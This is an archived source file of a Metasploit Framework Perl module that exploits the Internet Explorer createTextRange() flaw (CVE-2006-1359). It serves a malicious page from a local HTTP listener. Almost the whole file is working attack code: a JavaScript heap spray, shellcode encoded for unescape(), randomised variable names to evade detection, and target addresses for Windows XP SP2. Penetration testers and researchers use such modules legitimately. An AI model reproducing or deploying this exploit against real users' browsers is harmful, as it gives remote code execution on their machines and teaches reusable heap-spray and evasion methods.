home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / ie_createtextrange.pm < prev    next >
Text File  |  2006-06-30  |  9KB  |  317 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::ie_createtextrange;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14. use Pex::Text;
  15. use IO::Socket::INET;
  16. use IPC::Open3;
  17.  
  18. my $advanced =
  19.   {
  20.     'Gzip'       => [1, 'Enable gzip content encoding'],
  21.     'Chunked'    => [1, 'Enable chunked transfer encoding'],
  22.   };
  23.  
  24. my $info =
  25.   {
  26.     'Name'           => 'Internet Explorer createTextRange() Code Execution',
  27.     'Version'        => '$Revision: 1.4 $',
  28.     'Authors'        =>
  29.       [
  30.         'Faithless <rhyskidd [at] gmail.com>',
  31.         'Darkeagle <unl0ck.net>',
  32.         'H D Moore <hdm [at] metasploit.com>',
  33.         '<justfriends4n0w [at] yahoo.com>',
  34.         'Anonymous',
  35.       ],
  36.  
  37.     'Description'    =>
  38.       Pex::Text::Freeform(qq{
  39.         This module exploits a code execution vulnerability in Microsoft Internet Explorer.
  40.     Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory  in a way, which, under 
  41.     certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
  42.     to a very remote, non-existent memory location. This module is the result of merging three
  43.     different exploit submissions and has only been reliably tested against Windows XP SP2.
  44.     This vulnerability was independently discovered by multiple parties. The heap spray method
  45.     used by this exploit was pioneered by Skylined.
  46. }),
  47.  
  48.     'Arch'           => [ 'x86' ],
  49.     'OS'             => [ 'win32', 'winxp', 'win2003' ],
  50.     'Priv'           => 0,
  51.  
  52.     'UserOpts'       =>
  53.       {
  54.         'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
  55.         'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
  56.       },
  57.  
  58.     'Payload'        =>
  59.       {
  60.         'Space'    => 1024,
  61.         'BadChars' => "\x00",
  62.         'Keys'     => ['-bind'],
  63.       },
  64.     'Refs'           =>
  65.       [
  66.         ['OSVDB', '24050'],
  67.         ['BID', '17196'],
  68.         ['CVE', '2006-1359'],
  69.         ['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
  70.         ['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
  71.         ['URL', 'http://www.kb.cert.org/vuls/id/876678'],
  72.         ['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
  73.         ['URL', 'http://www.shog9.com/crashIE.html'],
  74.       ],
  75.  
  76.     'DefaultTarget'  => 0,
  77.     'Targets'        =>
  78.       [
  79.         [ 'Internet Explorer 7 - (7.0.5229.0) -> 3C0474C2 (Windows XP SP2)' ],
  80.         [ 'Internet Explorer 6 - (6.0.3790.0) -> 746F9468 (Windows XP SP2)' ],
  81.       ],
  82.  
  83.     'Keys'           => [ 'ie' ],
  84.  
  85.     'DisclosureDate' => 'Mar 19 2006',
  86.   };
  87.  
  88. sub new {
  89.     my $class = shift;
  90.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  91.     return($self);
  92. }
  93.  
  94. sub Exploit
  95. {
  96.     my $self = shift;
  97.     
  98.     if (! $self->InitNops(128)) {
  99.         $self->PrintLine("[*] Failed to initialize the NOP module.");
  100.         return;
  101.     }
  102.  
  103.     my $server = IO::Socket::INET->new(
  104.         LocalHost => $self->GetVar('HTTPHOST'),
  105.         LocalPort => $self->GetVar('HTTPPORT'),
  106.         ReuseAddr => 1,
  107.         Listen    => 1,
  108.         Proto     => 'tcp'
  109.       );
  110.     my $client;
  111.  
  112.     # Did the listener create fail?
  113.     if (not defined($server)) {
  114.         $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
  115.         return;
  116.     }
  117.  
  118.     my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
  119.       Pex::Utils::SourceIP('1.2.3.4') :
  120.       $self->GetVar('HTTPHOST');
  121.  
  122.     $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
  123.  
  124.     while (defined($client = $server->accept())) {
  125.         $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
  126.     }
  127.  
  128.     return;
  129. }
  130.  
  131. sub HandleHttpClient
  132. {
  133.     my $self = shift;
  134.     my $fd   = shift;
  135.  
  136.     # Set the remote host information
  137.     my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
  138.  
  139.     # Read the HTTP command
  140.     my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
  141.     my $agent;
  142.  
  143.     # Read in the HTTP headers
  144.     while ((my $line = $fd->RecvLine(10))) {
  145.  
  146.         $line =~ s/^\s+|\s+$//g;
  147.  
  148.         my ($var, $val) = split(/\:/, $line, 2);
  149.  
  150.         # Break out if we reach the end of the headers
  151.         last if (not defined($var) or not defined($val));
  152.  
  153.         $agent = $val if $var =~ /User-Agent/i;
  154.     }
  155.  
  156.     my $os = 'Unknown';
  157.  
  158.     $os = 'Linux'     if $agent =~ /Linux/i;
  159.     $os = 'Mac OS X'  if $agent =~ /OS X/i;
  160.     $os = 'Windows'   if $agent =~ /Windows/i;
  161.  
  162.     $self->PrintLine("[*] Client connected from $rhost:$rport ($os).");
  163.  
  164.     my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
  165.  
  166.     $fd->Close();
  167. }
  168.  
  169. sub JSUnescape {
  170.     my $self = shift;
  171.     my $data = shift;
  172.     my $code = '';
  173.  
  174.     # Encode the shellcode via %u sequences for JS's unescape() function
  175.     my $idx = 0;
  176.     while ($idx < length($data) - 1) {
  177.         my $c1 = ord(substr($data, $idx, 1));
  178.         my $c2 = ord(substr($data, $idx+1, 1));
  179.         $code .= sprintf('%%u%.2x%.2x', $c2, $c1);
  180.         $idx += 2;
  181.     }
  182.  
  183.     return $code;
  184. }
  185.  
  186. sub GenerateHTML {
  187.     my $self   = shift;
  188.     my $target = $self->Targets->[$self->GetVar('TARGET')];
  189.  
  190.     my $shellcode    = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
  191.     my $nops         = $self->JSUnescape($self->MakeNops(4));
  192.     my $rnd          = int(rand(3));
  193.     my $inputtype    = (($rnd == 0) ? "checkbox" : (($rnd == 1) ? "radio" : "image"));
  194.     my $inp          = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  195.     my $tmp          = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  196.     my $payload      = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  197.     my $nopslide     = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  198.     my $slidesize    = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  199.     my $fillblock    = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  200.     my $memblock     = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  201.     my $heap         = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  202.     my $index        = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  203.     my $maxIndex     = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  204.     my $fillHeap     = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  205.     my $start        = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  206.     my $timer        = "_".Pex::Text::AlphaNumText(int(rand(6)+3));
  207.     $rnd             = int(rand(2));
  208.     my $setTimeout   =($rnd == 0) ? "setTimeout('$fillHeap()', 5);" : "";
  209.     my $setInterval  =($rnd == 1) ? "setInterval('$fillHeap()', 5);" : "";
  210.  
  211.     my $data  = qq#
  212. <html>
  213. <head>
  214.     <script language="javascript">
  215.     var $payload=unescape("$shellcode");
  216.  
  217.     var $nopslide=unescape("$nops");
  218.     var $slidesize=20+$payload.length;
  219.     while ($nopslide.length<$slidesize)
  220.     {
  221.         $nopslide+=$nopslide;
  222.     }    
  223.  
  224.     var $fillblock=$nopslide.substring(0,$slidesize);
  225.     var $memblock=$nopslide.substring(0,$nopslide.length-$slidesize);
  226.  
  227.     while($memblock.length+$slidesize<0x40000)
  228.     {
  229.         $memblock+=$fillblock;
  230.     }    
  231.  
  232.     var $heap=new Array();
  233.     var $index=0;
  234.     var $maxIndex=2020;
  235.     
  236.     function $fillHeap() {
  237.       $timer.innerHTML=Math.round(($index/$maxIndex)*100);
  238.       if ($index<$maxIndex) {
  239.         $heap.push($memblock+$payload);
  240.         $index++;
  241.         $setTimeout
  242.       }
  243.       else {
  244.         $timer.innerHTML=100;
  245.         $inp=document.createElement("input");
  246.         $inp.type="$inputtype";
  247.         $tmp=$inp.createTextRange();        
  248.       }
  249.     }   
  250.     
  251.     function $start() {
  252.       $setTimeout$setInterval
  253.     }
  254.     </script>
  255. </head>
  256. <body onload="$start()">
  257. Sit back and relax as your windows box is being exploited using a non CPU consuming heap spraying exploit.<BR />
  258. In the meantime, you can open your task manager and watch how the VM size of IEXPLORE.EXE grows, while the CPU time of this process is very low.<BR />
  259. Progress: <span id="$timer"></span>%
  260. </body>
  261. </html>
  262. #;
  263. }
  264.  
  265. sub BuildResponse {
  266.     my ($self, $content) = @_;
  267.  
  268.     my $response =
  269.       "HTTP/1.1 200 OK\r\n" .
  270.       "Content-Type: text/html\r\n";
  271.  
  272.     if ($self->GetVar('Gzip')) {
  273.         $response .= "Content-Encoding: gzip\r\n";
  274.         $content = $self->Gzip($content);
  275.     }
  276.     if ($self->GetVar('Chunked')) {
  277.         $response .= "Transfer-Encoding: chunked\r\n";
  278.         $content = $self->Chunk($content);
  279.     } else {
  280.         $response .= 'Content-Length: ' . length($content) . "\r\n" .
  281.           "Connection: close\r\n";
  282.     }
  283.  
  284.     $response .= "\r\n" . $content;
  285.  
  286.     return $response;
  287. }
  288.  
  289. sub Chunk {
  290.     my ($self, $content) = @_;
  291.  
  292.     my $chunked;
  293.     while (length($content)) {
  294.         my $chunk = substr($content, 0, int(rand(10) + 1), '');
  295.         $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
  296.     }
  297.     $chunked .= "0\r\n\r\n";
  298.  
  299.     return $chunked;
  300. }
  301.  
  302. sub Gzip {
  303.     my $self = shift;
  304.     my $data = shift;
  305.     my $comp = int(rand(5))+5;
  306.  
  307.     my($wtr, $rdr, $err);
  308.  
  309.     my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
  310.     print $wtr $data;
  311.     close ($wtr);
  312.     local $/;
  313.  
  314.     return (<$rdr>);
  315. }
  316. 1;
  317.